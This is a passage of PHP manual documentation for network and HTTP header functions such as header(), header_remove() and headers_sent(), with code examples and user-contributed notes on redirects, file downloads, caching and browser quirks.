(PHP 4, PHP 5)

getservbyname — Get port number associated with an Internet service and protocol

Description

int getservbyname ( string $service , string $protocol )

getservbyname() returns the Internet port which corresponds to service for the specified protocol as per /etc/services.

Parameters

service

The Internet service name, as a string.

protocol

protocol is either "tcp" or "udp" (in lowercase).

Return Values

Returns the port number, or FALSE if service or protocol is not found.

Examples

Example #1 getservbyname() example

<?php
$services = array('http', 'ftp', 'ssh', 'telnet', 'imap',
'smtp', 'nicname', 'gopher', 'finger', 'pop3', 'www');

foreach ($services as $service) {
    $port = getservbyname($service, 'tcp');
    echo $service . ": " . $port . "<br />\n";
}
?>

See Also

  • getservbyport() - Get Internet service which corresponds to port and protocol
  • » http://www.iana.org/assignments/port-numbers for a complete list of port numbers.

User Contributed Notes

There are no user contributed notes for this page.


Get Internet service which corresponds to port and protocol

  • « getservbyname
  • header_register_callback »
  • PHP Manual
  • Network Functions
  • Get Internet service which corresponds to port and protocol

getservbyport

(PHP 4, PHP 5)

getservbyport — Get Internet service which corresponds to port and protocol

Description

string getservbyport ( int $port , string $protocol )

getservbyport() returns the Internet service associated with port for the specified protocol as per /etc/services.

Parameters

port

The port number.

protocol

protocol is either "tcp" or "udp" (in lowercase).

Return Values

Returns the Internet service name as a string.

See Also

  • getservbyname() - Get port number associated with an Internet service and protocol

User Contributed Notes

paland at stetson dot edu 30-Nov-2000 01:00
Example:
<?php $value = getservbyport(137, "udp"); ?>

The same goes for getservbyname()


Call a header function

  • « getservbyport
  • header_remove »
  • PHP Manual
  • Network Functions
  • Call a header function

header_register_callback

(PHP 5 >= 5.4.0)

header_register_callback — Call a header function

Description

bool header_register_callback ( callable $callback )

Registers a function that will be called when PHP starts sending output.

The callback is executed just after PHP prepares all headers to be sent, and before any other output is sent, creating a window to manipulate the outgoing headers before being sent.

Parameters

callback

Function called just before the headers are sent. It gets no parameters and the return value is ignored.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 header_register_callback() example

<?php

header('Content-Type: text/plain');
header('X-Test: foo');

function foo() {
 foreach (headers_list() as $header) {
   if (strpos($header, 'X-Powered-By:') !== false) {
     header_remove('X-Powered-By');
   }
   header_remove('X-Test');
 }
}

$result = header_register_callback('foo');
echo "a";
?>

The above example will output something similar to:

Content-Type: text/plain

a

Notes

header_register_callback() is executed just as the headers are about to be sent out, so any output from this function can break output.

Note:

Headers will only be accessible and output when a SAPI that supports them is in use.

See Also

  • headers_list() - Returns a list of response headers sent (or ready to send)
  • header_remove() - Remove previously set headers
  • header() - Send a raw HTTP header

User Contributed Notes

matt@kafene 27-Feb-2013 07:26
Note that this function only registers a single callback as of php 5.4. The most recent callback set is the one that will be executed, they will not be executed in order like with register_shutdown_function(), just overwritten.

Here is my test:

<?php

$i = $j = 0;
header_register_callback(function() use(&$i){ $i+=2; });
header_register_callback(function() use(&$i){ $i+=3; });
register_shutdown_function(function() use(&$j){ $j+=2; });
register_shutdown_function(function() use(&$j){ $j+=3; });
register_shutdown_function(function() use(&$j){ var_dump($j); });
while(!headers_sent()) { echo "<!-- ... flushing ... -->"; }
var_dump(headers_sent(), $i);
exit;

?>

Results:

headers_sent() - true
$i = 3
$j = 5


Remove previously set headers

  • « header_register_callback
  • header »
  • PHP Manual
  • Network Functions
  • Remove previously set headers

header_remove

(PHP 5 >= 5.3.0)

header_remove — Remove previously set headers

Description

void header_remove ([ string $name ] )

Removes an HTTP header previously set using header().

Parameters

name

The header name to be removed.

Note: This parameter is case-insensitive.

Return Values

No value is returned.

Examples

Example #1 Unsetting specific header.

<?php
header("X-Foo: Bar");
header("X-Bar: Baz");
header_remove("X-Foo");
?>

The above example will output something similar to:

X-Bar: Baz

Example #2 Unsetting all previously set headers.

<?php
header("X-Foo: Bar");
header("X-Bar: Baz");
header_remove();
?>

The above example will output something similar to:

Notes

Caution

    This function will remove all headers set by PHP,
    including cookies, session and the X-Powered-By headers.

Note:

    Headers will only be accessible and output when a SAPI that supports them
    is in use.

See Also

  • header() - Send a raw HTTP header
    •

  • headers_sent() - Checks if or where headers have been sent
    •

User Contributed Notes

   Saeed Khamseh
   24-Feb-2011 08:53

if you want to remove header information about php version (x-powered-by), you can use:

header_remove('x-powered-by');

alternatively, if you don't have php 5.3 installed, you can do the same thing using "header" command:

header('x-powered-by:');

don't forget the ':' character at the end of the string!


Send a raw HTTP header

  • « header_remove
  • headers_list »
  • PHP Manual
  • Network Functions
  • Send a raw HTTP header

header

(PHP 4, PHP 5)

header — Send a raw HTTP header

Description

void header ( string $string [, bool $replace = true [, int $http_response_code ]] )

header() is used to send a raw HTTP header. See the » HTTP/1.1 specification for more information on HTTP headers.

Remember that header() must be called before any actual output is sent, either by normal HTML tags, blank lines in a file, or from PHP. It is a very common error to read code with include, or require, functions, or another file access function, and have spaces or empty lines that are output before header() is called. The same problem exists when using a single PHP/HTML file.

<html>
<?php
/* This will give an error. Note the output
 * above, which is before the header() call */
header('Location: http://www.example.com/');
exit;
?>

Parameters

string

The header string.

There are two special-case header calls. The first is a header that starts with the string "HTTP/" (case is not significant), which will be used to figure out the HTTP status code to send. For example, if you have configured Apache to use a PHP script to handle requests for missing files (using the ErrorDocument directive), you may want to make sure that your script generates the proper status code.

<?php
header("HTTP/1.0 404 Not Found");
?>

The second special case is the "Location:" header. Not only does it send this header back to the browser, but it also returns a REDIRECT (302) status code to the browser unless the 201 or a 3xx status code has already been set.

<?php
header("Location: http://www.example.com/"); /* Redirect browser */

/* Make sure that code below does not get executed when we redirect. */
exit;
?>

replace

The optional replace parameter indicates whether the header should replace a previous similar header, or add a second header of the same type. By default it will replace, but if you pass in FALSE as the second argument you can force multiple headers of the same type. For example:

<?php
header('WWW-Authenticate: Negotiate');
header('WWW-Authenticate: NTLM', false);
?>

http_response_code

Forces the HTTP response code to the specified value. Note that this parameter only has an effect if the string is not empty.

Return Values

No value is returned.

Changelog

Version | Description
5.1.2 | This function now prevents more than one header to be sent at once as a protection against header injection attacks.

Examples

Example #1 Download dialog

If you want the user to be prompted to save the data you are sending, such as a generated PDF file, you can use the » Content-Disposition header to supply a recommended filename and force the browser to display the save dialog.

<?php
// We'll be outputting a PDF
header('Content-type: application/pdf');

// It will be called downloaded.pdf
header('Content-Disposition: attachment; filename="downloaded.pdf"');

// The PDF source is in original.pdf
readfile('original.pdf');
?>

Example #2 Caching directives

PHP scripts often generate dynamic content that must not be cached by the client browser or any proxy caches between the server and the client browser. Many proxies and clients can be forced to disable caching with:

<?php
header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Date in the past
?>

Note:

You may find that your pages aren't cached even if you don't output all of the headers above. There are a number of options that users may be able to set for their browser that change its default caching behavior. By sending the headers above, you should override any settings that may otherwise cause the output of your script to be cached.

Additionally, session_cache_limiter() and the session.cache_limiter configuration setting can be used to automatically generate the correct caching-related headers when sessions are being used.

Notes

Note:

Headers will only be accessible and output when a SAPI that supports them is in use.

Note:

You can use output buffering to get around this problem, with the overhead of all of your output to the browser being buffered in the server until you send it. You can do this by calling ob_start() and ob_end_flush() in your script, or setting the output_buffering configuration directive on in your php.ini or server configuration files.

Note:

The HTTP status header line will always be the first sent to the client, regardless of the actual header() call being the first or not. The status may be overridden by calling header() with a new status line at any time unless the HTTP headers have already been sent.

Note:

There is a bug in Microsoft Internet Explorer 4.01 that prevents this from working. There is no workaround. There is also a bug in Microsoft Internet Explorer 5.5 that interferes with this, which can be resolved by upgrading to Service Pack 2 or later.

Note: If safe mode is enabled the uid of the script is added to the realm part of the WWW-Authenticate header if you set this header (used for HTTP Authentication).

Note:

HTTP/1.1 requires an absolute URI as argument to » Location: including the scheme, hostname and absolute path, but some clients accept relative URIs. You can usually use $_SERVER['HTTP_HOST'], $_SERVER['PHP_SELF'] and dirname() to make an absolute URI from a relative one yourself:

<?php
/* Redirect to a different page in the current directory that was requested */
$host  = $_SERVER['HTTP_HOST'];
$uri   = rtrim(dirname($_SERVER['PHP_SELF']), '/\\');
$extra = 'mypage.php';
header("Location: http://$host$uri/$extra");
exit;
?>

Note:

Session ID is not passed with Location header even if session.use_trans_sid is enabled. It must by passed manually using SID constant.

See Also

  • headers_sent() - Checks if or where headers have been sent
  • setcookie() - Send a cookie
  • http_response_code() - Get or Set the HTTP response code
  • The section on HTTP authentication

User Contributed Notes

dheeraj dot br2 at gmail dot com 26-Sep-2014 02:50
The piece of code in the manual which is as follows

<html>
<?php
/* This will give an error. Note the output
 * above, which is before the header() call */
header('Location: http://www.example.com/');
exit;
?>

this will not throw a warning as the .ini settings for output buffering is by default on.
to get the error you may have to change the server setting or simply add a line explicitly to close output buffering by using "ob_end_clean()" or similar
Anonymous 09-May-2014 01:57
This is a simple function that you can use in many places if you need redirections:

<?php
function redirect($link=false){
if(!empty($link))
    if(!headers_sent())
        return header('Location: '.trim($link);
    else die('ERROR: Header data not send! Redirecting page is impossible! Contact System Administrator!');
else return false;
}

// EXAMPLE:
redirect("http://www.php.net")
?>
ben at indietorrent dot org 24-May-2012 02:34
Be aware that sending binary files to the user-agent (browser) over an encrypted connection (SSL/TLS) will fail in IE (Internet Explorer) versions 5, 6, 7, and 8 if any of the following headers is included:

Cache-control:no-store
Cache-control:no-cache

See: http://support.microsoft.com/kb/323308

Workaround: do not send those headers.

Also, be aware that IE versions 5, 6, 7, and 8 double-compress already-compressed files and do not reverse the process correctly, so ZIP files and similar are corrupted on download.

Workaround: disable compression (beyond text/html) for these particular versions of IE, e.g., using Apache's "BrowserMatch" directive. The following example disables compression in all versions of IE:

BrowserMatch ".*MSIE.*" gzip-only-text/html
cedric at gn dot apc dot org 22-Jan-2011 08:47
Setting a Location header "returns a REDIRECT (302) status code to the browser unless the 201 or a 3xx status code has already been set".  If you are sending a response to a POST request, you might want to look at RFC 2616 sections 10.3.3 and 10.3.4.   It is suggested that if you want the browser to immediately GET the resource in the Location header in this circumstance, you should use a 303 status code not the 302 (with the same link as hypertext in the body for very old browsers).  This may have (rare) consequences as mentioned in bug 42969.
Cody G. 02-Aug-2010 06:53
After lots of research and testing, I'd like to share my findings about my problems with Internet Explorer and file downloads.

  Take a look at this code, which replicates the normal download of a Javascript:

<?php
 if(strstr($_SERVER["HTTP_USER_AGENT"],"MSIE")==false) {
  header("Content-type: text/javascript");
  header("Content-Disposition: inline; filename=\"download.js\"");
  header("Content-Length: ".filesize("my-file.js"));
 } else {
  header("Content-type: application/force-download");
  header("Content-Disposition: attachment; filename=\"download.js\"");
  header("Content-Length: ".filesize("my-file.js"));
 }
 header("Expires: Fri, 01 Jan 2010 05:00:00 GMT");
 if(strstr($_SERVER["HTTP_USER_AGENT"],"MSIE")==false) {
  header("Cache-Control: no-cache");
  header("Pragma: no-cache");
 }
 include("my-file.js");
?>

Now let me explain:

  I start out by checking for IE, then if not IE, I set Content-type (case-sensitive) to JS and set Content-Disposition (every header is case-sensitive from now on) to inline, because most browsers outside of IE like to display JS inline. (User may change settings). The Content-Length header is required by some browsers to activate download box. Then, if it is IE, the "application/force-download" Content-type is sometimes required to show the download box. Use this if you don't want your PDF to display in the browser (in IE). I use it here to make sure the box opens. Anyway, I set the Content-Disposition to attachment because I already know that the box will appear. Then I have the Content-Length again.

  Now, here's my big point. I have the Cache-Control and Pragma headers sent only if not IE. THESE HEADERS WILL PREVENT DOWNLOAD ON IE!!! Only use the Expires header, after all, it will require the file to be downloaded again the next time. This is not a bug! IE stores downloads in the Temporary Internet Files folder until the download is complete. I know this because once I downloaded a huge file to My Documents, but the Download Dialog box put it in the Temp folder and moved it at the end. Just think about it. If IE requires the file to be downloaded to the Temp folder, setting the Cache-Control and Pragma headers will cause an error!

I hope this saves someone some time!
~Cody G.
Marcel G 02-Apr-2010 03:37
Several times this one is asked on the net but an answer could not be found in the docs on php.net ...

If you want to redirect an user and tell him he will be redirected, e. g. "You will be redirected in about 5 secs. If not, click here." you cannot use header( 'Location: ...' ) as you can't sent any output before the headers are sent.

So, either you have to use the HTML meta refresh thingy or you use the following:

<?php
  header( "refresh:5;url=wherever.php" );
  echo 'You\'ll be redirected in about 5 secs. If not, click <a href="wherever.php">here</a>.';
?>

Hth someone
Refugnic 03-Feb-2010 02:43
My files are in a compressed state (bz2). When the user clicks the link, I want them to get the uncompressed version of the file.

After decompressing the file, I ran into the problem, that the download dialog would always pop up, even when I told the dialog to 'Always perform this operation with this file type'.

As I found out, the problem was in the header directive 'Content-Disposition', namely the 'attachment' directive.

If you want your browser to simulate a plain link to a file, either change 'attachment' to 'inline' or omit it alltogether and you'll be fine.

This took me a while to figure out and I hope it will help someone else out there, who runs into the same problem.
this dot person at joaocunha dot eti dot br 26-Jan-2010 07:39
AVOID ZERO BYTE ORDER MARK!

Header MUST be sent before EVERYTHING in the page. Even a single space will break your script. In my case, there was BOM setted in the encoding, so I opened the file with notepad++ and set the encoding to UTF-8 (no BOM) and voila, everything is working great now.
dev at omikrosys dot com 17-Oct-2009 07:45
Just to inform you all, do not get confused between Content-Transfer-Encoding and Content-Encoding

Content-Transfer-Encoding specifies the encoding used to transfer the data within the HTTP protocol, like raw binary or base64. (binary is more compact than base64. base64 having 33% overhead).
Eg Use:- header('Content-Transfer-Encoding: binary');

Content-Encoding is used to apply things like gzip compression to the content/data.
Eg Use:- header('Content-Encoding: gzip');
scott at lucentminds dot com 17-Oct-2009 01:42
If you want to remove a header and keep it from being sent as part of the header response, just provide nothing as the header value after the header name. For example...

PHP, by default, always returns the following header:

"Content-Type: text/html"

Which your entire header response will look like

HTTP/1.1 200 OK
Server: Apache/2.2.11 (Unix)
X-Powered-By: PHP/5.2.8
Date: Fri, 16 Oct 2009 23:05:07 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

If you call the header name with no value like so...

<?php

    header( 'Content-Type:' );

?>

Your headers now look like this:

HTTP/1.1 200 OK
Server: Apache/2.2.11 (Unix)
X-Powered-By: PHP/5.2.8
Date: Fri, 16 Oct 2009 23:05:07 GMT
Connection: close
Anonymous 31-Jul-2009 05:02
I just want to add, becuase I see here lots of wrong formated headers.

1. All used headers have first letters uppercase, so you MUST follow this. For example:

Location, not location
Content-Type, not content-type, nor CONTENT-TYPE

2. Then there MUST be colon and space, like

good: header("Content-Type: text/plain");
wrong: header("Content-Type:text/plain");

3. Location header MUST be absolute uri with scheme, domain, port, path, etc.

good: header("Location: http://www.example.com/something.php?a=1");

4. Relative URIs are NOT allowed

wrong:  Location: /something.php?a=1
wrong:  Location: ?a=1

It will make proxy server and http clients happier.
mjt at jpeto dot net 18-Jul-2009 08:01
I strongly recommend, that you use

header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found");

instead of

header("HTTP/1.1 404 Not Found");

I had big troubles with an Apache/2.0.59 (Unix) answering in HTTP/1.0 while I (accidentially) added a "HTTP/1.1 200 Ok" - Header.

Most of the pages were displayed correct, but on some of them apache added weird content to it:

A 4-digits HexCode on top of the page (before any output of my php script), seems to be some kind of checksum, because it changes from page to page and browser to browser. (same code for same page and browser)

"0" at the bottom of the page (after the complete output of my php script)

It took me quite a while to find out about the wrong protocol in the HTTP-header.
Jamesb 08-Mar-2009 02:25
Here is a php script I wrote to stream a file and crypt it with a xor operation on the bytes and with a key :

The encryption works very good but the speed is decrease by 2, it is now 520KiB/s. The user is now asked for a md5 password (instead of keeping it in the code directly). There is some part in French because it's my native language so modify it as you want.

<?php
// Stream files and encrypt the data on-the-fly

// Settings
// -- File to stream
$file = "FILE_out";
// -- Reading buffer
$bufferlength = 3840;
// -- Key in hex
//$keychar = "9cdfb439c7876e703e307864c9167a15";

// Function: Convertion hex key in a string into binary
function hex2bin($h) {
    if (!is_string($h)) return null;
    $r = array();
    for ($a=0; ($a*2)<strlen($h); $a++) {
        $ta = hexdec($h[2*$a]);
        $tb = hexdec($h[(2*$a+1)]);
        $r[$a] = (int) (($ta << 4) + $tb);
    }
    return $r;
}

// Function to send the auth headers
function askPassword($text="Enter the password") {
    header('WWW-Authenticate: Basic realm="'. utf8_decode($text) .'"');
    header('HTTP/1.0 401 Unauthorized');
    return 1;
}

// Key is asked at the first start
if (!isset($_SERVER['PHP_AUTH_PW'])) {
    askPassword();
    echo "Une clé est nécessaire !<br />";
    exit;
}
// Get the key in hex
$keychar = $_SERVER['PHP_AUTH_PW'];

// Convert key and set the size of the key
$key = hex2bin($keychar);
$keylength = count($key);
// Teste si la clé est valide en hex
if ($key == "" || $keylength <= 4) {
    askPassword("Clé incorrecte !");
    //echo "Clé incorrecte !<br />";
    exit();
}
// Teste si la clé est de longueur d'une puissance de 2
if ( ($keylength%2) != 0) {
    askPassword("Clé de longueur incorrecte (multiple de 2 uniquement)");
    //echo "Clé de longueur incorrecte (puissance de 2 uniquement)<br />";
    exit();
}

// Headers
header("Content-Type: application/octet-stream; ");
header("Content-Transfer-Encoding: binary");
header("Content-Length: " . filesize($file) ."; ");
header("filename=\"".$file."\"; ");
flush(); // this doesn't really matter.

// Opening the file in read-only
$fp = fopen($file, "r");
while (!feof($fp))
{
    // Read a buffer size of the file
    $buffer = fread($fp, $bufferlength);
    $j=0;
    for ($i=0; $i < $bufferlength; $i++) {
        // The key is read in loop to crypt the whole file
        if ($i%$keylength == 0) {
            $j=0;
        }
        // Apply a xor operation between the key and the file to crypt
        // This operation eats a lots of CPU time (Stream at 1MiB/s on my server; Intel E2180)
        $tmp = pack("C", $key[$j]);
        $bufferE = ( $buffer[$i]^$tmp); // <==== Le fameux XOR

        /*
        echo "<br />key[".$j."]: ";
        var_dump($tmp);
        echo "<br />buffer[".$i."]: ";
        var_dump($buffer[$i]);
        echo "<br />bufferE: ";
        var_dump($bufferE);
        echo "<br />";
        //*/

        // Send the encrypted data
        echo $bufferE;
        // Clean the memory
        $bufferE = "";
        $j++;
    }
    $buffer = "";
    flush(); // this is essential for large downloads
    /*
    fclose($fp);
    exit();
    //*/
}
// Close the file and it's finished
fclose($fp);

?>
bebertjean at yahoo dot fr 05-Dec-2008 02:46
If using the 'header' function for the downloading of files, especially if you're passing the filename as a variable, remember to surround the filename with double quotes, otherwise you'll have problems in Firefox as soon as there's a space in the filename.

So instead of typing:

<?php
  header("Content-Disposition: attachment; filename=" . basename($filename));
?>

you should type:

<?php
  header("Content-Disposition: attachment; filename=\"" . basename($filename) . "\"");
?>

If you don't do this then when the user clicks on the link for a file named "Example file with spaces.txt", then Firefox's Save As dialog box will give it the name "Example", and it will have no extension.

See the page called "Filenames_with_spaces_are_truncated_upon_download" at
http://kb.mozillazine.org/ for more information. (Sorry, the site won't let me post such a long link...)
jamie 01-Dec-2008 04:57
The encoding of a file is discovered by the Content-Type, either in the HTML meta tag or as part of the HTTP header. Thus, the server and browser does not need - nor expect - a Unicode file to begin with a BOM mark. BOMs can confuse *nix systems too. More info at http://unicode.org/faq/utf_bom.html#bom1

On another note: Safari can display CMYK images (at least the OS X version, because it uses the services of QuickTime)
mzheng[no-spam-thx] at ariba dot com 23-Oct-2008 05:50
For large files (100+ MBs), I found that it is essential to flush the file content ASAP, otherwise the download dialog doesn't show until a long time or never.

<?php
header("Content-Disposition: attachment; filename=" . urlencode($file));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file));
flush(); // this doesn't really matter.

$fp = fopen($file, "r");
while (!feof($fp))
{
    echo fread($fp, 65536);
    flush(); // this is essential for large downloads
}
fclose($fp);
?>
shutout2730 at yahoo dot com 22-Aug-2008 08:57
It is important to note that headers are actually sent when the first byte is output to the browser. If you are replacing headers in your scripts, this means that the placement of echo/print statements and output buffers may actually impact which headers are sent. In the case of redirects, if you forget to terminate your script after sending the header, adding a buffer or sending a character may change which page your users are sent to.

This redirects to 2.html since the second header replaces the first.

<?php
header("location: 1.html");
header("location: 2.html"); //replaces 1.html
?>

This redirects to 1.html since the header is sent as soon as the echo happens. You also won't see any "headers already sent" errors because the browser follows the redirect before it can display the error.

<?php
header("location: 1.html");
echo "send data";
header("location: 2.html"); //1.html already sent
?>

Wrapping the previous example in an output buffer actually changes the behavior of the script! This is because headers aren't sent until the output buffer is flushed.

<?php
ob_start();
header("location: 1.html");
echo "send data";
header("location: 2.html"); //replaces 1.html
ob_end_flush(); //now the headers are sent
?>
sk89q 17-Aug-2008 08:41
You can use HTTP's etags and last modified dates to ensure that you're not sending the browser data it already has cached.

<?php
$last_modified_time = filemtime($file);
$etag = md5_file($file);

header("Last-Modified: ".gmdate("D, d M Y H:i:s", $last_modified_time)." GMT");
header("Etag: $etag");

if (@strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) == $last_modified_time ||
    trim($_SERVER['HTTP_IF_NONE_MATCH']) == $etag) {
    header("HTTP/1.1 304 Not Modified");
    exit;
}
?>
Dylan at WeDefy dot com 13-Oct-2007 05:17
A quick way to make redirects permanent or temporary is to make use of the $http_response_code parameter in header().

<?php
// 301 Moved Permanently
header("Location: /foo.php",TRUE,301);

// 302 Found
header("Location: /foo.php",TRUE,302);
header("Location: /foo.php");

// 303 See Other
header("Location: /foo.php",TRUE,303);

// 307 Temporary Redirect
header("Location: /foo.php",TRUE,307);
?>

The HTTP status code changes the way browsers and robots handle redirects, so if you are using header(Location:) it's a good idea to set the status code at the same time.  Browsers typically re-request a 307 page every time, cache a 302 page for the session, and cache a 301 page for longer, or even indefinitely.  Search engines typically transfer "page rank" to the new location for 301 redirects, but not for 302, 303 or 307. If the status code is not specified, header('Location:') defaults to 302.
Kal 29-Jul-2007 10:07
I spent a long time trying to determine why Internet Explorer 7 wasn't prompting the user to save a download based on the filename specified on a "'Content-Disposition: attachment; filename=..." header line.

I eventually determined that my Apache installation was adding an additional header: "Vary: Host", which was throwing IE - as per http://support.microsoft.com/kb/824847

I found manually setting the Vary header from within PHP as follows header('Vary: User-Agent'); allowed IE to behave as intended.

Hope this saves someone else some time,

- Kal
nobileelpirata at hotmail dot com 03-Jun-2007 12:04
This is the Headers to force a browser to use fresh content (no caching) in HTTP/1.0 and HTTP/1.1:

<?PHP
header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
header( 'Cache-Control: no-store, no-cache, must-revalidate' );
header( 'Cache-Control: post-check=0, pre-check=0', false );
header( 'Pragma: no-cache' );

?>
mandor at mandor dot net 15-Feb-2006 02:14
When using PHP to output an image, it won't be cached by the client so if you don't want them to download the image each time they reload the page, you will need to emulate part of the HTTP protocol.

Here's how:

<?php

    // Test image.
    $fn = '/test/foo.png';

    // Getting headers sent by the client.
    $headers = apache_request_headers();

    // Checking if the client is validating his cache and if it is current.
    if (isset($headers['If-Modified-Since']) && (strtotime($headers['If-Modified-Since']) == filemtime($fn))) {
        // Client's cache IS current, so we just respond '304 Not Modified'.
        header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($fn)).' GMT', true, 304);
    } else {
        // Image not cached or cache outdated, we respond '200 OK' and output the image.
        header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($fn)).' GMT', true, 200);
        header('Content-Length: '.filesize($fn));
        header('Content-Type: image/png');
        print file_get_contents($fn);
    }

?>

That way foo.png will be properly cached by the client and you'll save bandwith. :)
jp at webgraphe dot com 22-Nov-2003 12:56
A call to session_write_close() before the statement

<?php
    header("Location: URL");
    exit();
?>

is recommended if you want to be sure the session is updated before proceeding to the redirection.

We encountered a situation where the script accessed by the redirection wasn't loading the session correctly because the precedent script hadn't the time to update it (we used a database handler).

JP.
bMindful at fleetingiamge dot org 01-Jun-2003 12:08
If you haven't used, HTTP Response 204 can be very convenient. 204 tells the server to immediately termiante this request. This is helpful if you want a javascript (or similar) client-side function to execute a server-side function without refreshing or changing the current webpage. Great for updating database, setting global variables, etc.

     header("status: 204");  (or the other call)
     header("HTTP/1.0 204 No Response");


Returns a list of response headers sent (or ready to send)

  • « header
  • headers_sent »
  • PHP Manual
  • Network Functions
  • Returns a list of response headers sent (or ready to send)

headers_list

(PHP 5)

headers_list — Returns a list of response headers sent (or ready to send)

Description

array headers_list ( void )

headers_list() will return a list of headers to be sent to the browser / client. To determine whether or not these headers have been sent yet, use headers_sent().

Return Values

Returns a numerically indexed array of headers.

Examples

Example #1 Examples using headers_list()

<?php

/* setcookie() will add a response header on its own */
setcookie('foo', 'bar');

/* Define a custom response header
   This will be ignored by most clients */
header("X-Sample-Test: foo");

/* Specify plain text content in our response */
header('Content-type: text/plain');

/* What headers are going to be sent? */
var_dump(headers_list());

?>

The above example will output:

array(4) {
  [0]=>
  string(23) "X-Powered-By: PHP/5.1.3"
  [1]=>
  string(19) "Set-Cookie: foo=bar"
  [2]=>
  string(18) "X-Sample-Test: foo"
  [3]=>
  string(24) "Content-type: text/plain"
}

Notes

Note:

Headers will only be accessible and output when a SAPI that supports them is in use.

See Also

  • headers_sent() - Checks if or where headers have been sent
  • header() - Send a raw HTTP header
  • setcookie() - Send a cookie
  • apache_response_headers() - Fetch all HTTP response headers
  • http_response_code() - Get or Set the HTTP response code

User Contributed Notes

Anonymous 11-Oct-2012 09:50
note that it does not return the status header

<?php

header('HTTP/1.1 301 Moved Permanently', true, 301);

header('foo: bar');
header('a: b');
header('colon less example');

print_r(headers_list());
?>

Array
(
    [0] => X-Powered-By: PHP/5.4.7
    [1] => foo: bar
    [2] => a: b
)
SOLO2 14-Jul-2012 01:00
Function to check if a particular header has been added to the list:

<?php

function header_sent($header) {
    $headers = headers_list();
    $header = trim($header,': ');
    $result = false;

    foreach ($headers as $hdr) {
        if (stripos($hdr, $header) !== false) {
            $result = true;
        }
    }

    return $result;
}

?>


Checks if or where headers have been sent

  • « headers_list
  • http_response_code »
  • PHP Manual
  • Network Functions
  • Checks if or where headers have been sent

headers_sent

(PHP 4, PHP 5)

headers_sent — Checks if or where headers have been sent

Description

bool headers_sent ([ string &$file [, int &$line ]] )

Checks if or where headers have been sent.

You can't add any more header lines using the header() function once the header block has already been sent. Using this function you can at least prevent getting HTTP header related error messages. Another option is to use Output Buffering.

Parameters

file

If the optional file and line parameters are set, headers_sent() will put the PHP source file name and line number where output started in the file and line variables.

line

The line number where the output started.

Return Values

headers_sent() will return FALSE if no HTTP headers have already been sent or TRUE otherwise.

Examples

Example #1 Examples using headers_sent()

<?php

// If no headers are sent, send one
if (!headers_sent()) {
    header('Location: http://www.example.com/');
    exit;
}

// An example using the optional file and line parameters, as of PHP 4.3.0
// Note that $filename and $linenum are passed in for later use.
// Do not assign them values beforehand.
if (!headers_sent($filename, $linenum)) {
    header('Location: http://www.example.com/');
    exit;

// You would most likely trigger an error here.
} else {

    echo "Headers already sent in $filename on line $linenum\n" .
          "Cannot redirect, for now please click this <a " .
          "href=\"http://www.example.com\">link</a> instead\n";
    exit;
}

?>

Notes

Note:

Headers will only be accessible and output when a SAPI that supports them is in use.

See Also

  • ob_start() - Turn on output buffering
  • trigger_error() - Generates a user-level error/warning/notice message
  • headers_list() - Returns a list of response headers sent (or ready to send)
  • header() - Send a raw HTTP header for a more detailed discussion of the matters involved.

User Contributed Notes

szczepan.krol[et]gmail[*]com 21-Oct-2010 11:10
Here a function to check also if any other outout is already sent:
<?php

function output_send(){
    if (!headers_sent() && error_get_last()==NULL ) {
        return false;

    }
    return true;
}
?>
Jase 08-Apr-2009 03:42
This is becoming annoying the amount of posts to try and describe the behaviour of headers

Headers appear first in the data sent to the user's browser

if headers have been called using the header() function but no data has been sent to the output buffer (using echo, readfile etc), then the headers are sent at the end of script execution otherwise they are sent when the buffer reaches it's limit and emptied

simple

this means that headers_sent() will return false if nothing is sent to the output buffer because the headers are being sent at the end of the script

This is not a bug either, this is expected behaviour. Keeping headers until forced to send them out is a good idea because certain measures can be taken like prevention of meta injection etc (option in header() to replace headers that have not yet been sent)

besides, headers_sent() is good for when you try and send headers but the output buffer has already been emptied (in cases of php error handling for example). Obviously if the buffer has emtpied, sending headers won't work.
yesmarklapointe at hotmail dot com 22-Oct-2008 03:07
I was having trouble getting my mind around the concepts involved. Here is my dilemma and the conclusion I reached in case recounting them can help others:

I am using WAMPserver: PHP 5.2.6, and Apache 2.2.8 on Windows XP SP3. If it matters to your duplication,
I found two php.ini files in WAMPserver where output_buffering had been set to 4096. I changed them to OFF for this testing.

Here is how you can replicate what I am experiencing: With IE 7.0 go to Tools ... Display ieHTTPheaders ... and run the following script repeatedly and watch what happens:

<?php
header( 'Expires: Mon, 26 Jul 1998 05:00:00 GMT' );
//var_dump(headers_sent());
//print("whatever");
//flush();
//echo "whatever";
var_dump(headers_sent());
?>

Result: the final var_dump of the headers_sent() function will
always return FALSE unless any one or  more of the commented lines above it are uncommented. Uncommenting the statements allows an output to be sent to the user not just to their browser, after which the final var_dump will return TRUE. What I found confusing was that the ieHTTPheaders tool shows that the header is being sent to the user's browser even when all the output lines are commented out. So why does headers_sent() return FALSE in this case? Because you can keep sending other headers. The headers_sent function is meant to alert one to when no further headers can be sent. My testing shows it does not return true unless some other output is also sent after the header, thereby signaling that  "Headers have been sent and concluded with user output. NOW you can't send any more headers."

Someone else worked his way through this problem in a (false) bug report: http://bugs.php.net/bug.php?id=30264
Here is the relevant part of the reply from the pro:
"When you use compression the entire page is buffered in memory, until end of the request. Consequently you can send headers at any time because no data is being actually sent to user when you print it. Until PHP actually decides to send any page output to the user you can still send additional headers which is why the headers_sent() function is returning false. It will return true, indicating that headers have been sent  only at a time when output began going to the user and you no longer can send any additional headers."

So in summary, my point is that there is a difference between headers being sent only to the browser (which can be followed by other headers) vs. headers being sent and concluded by output for the user. The function should have been given a more clear name like headers_concluded().
loaded67 at hotmail dot com 18-Feb-2008 07:54
very handy function!

When working with GD I made something like:

<?php
class image{

    /**
     * show
     * sends image to browser and destroy the resource if headers not sent.
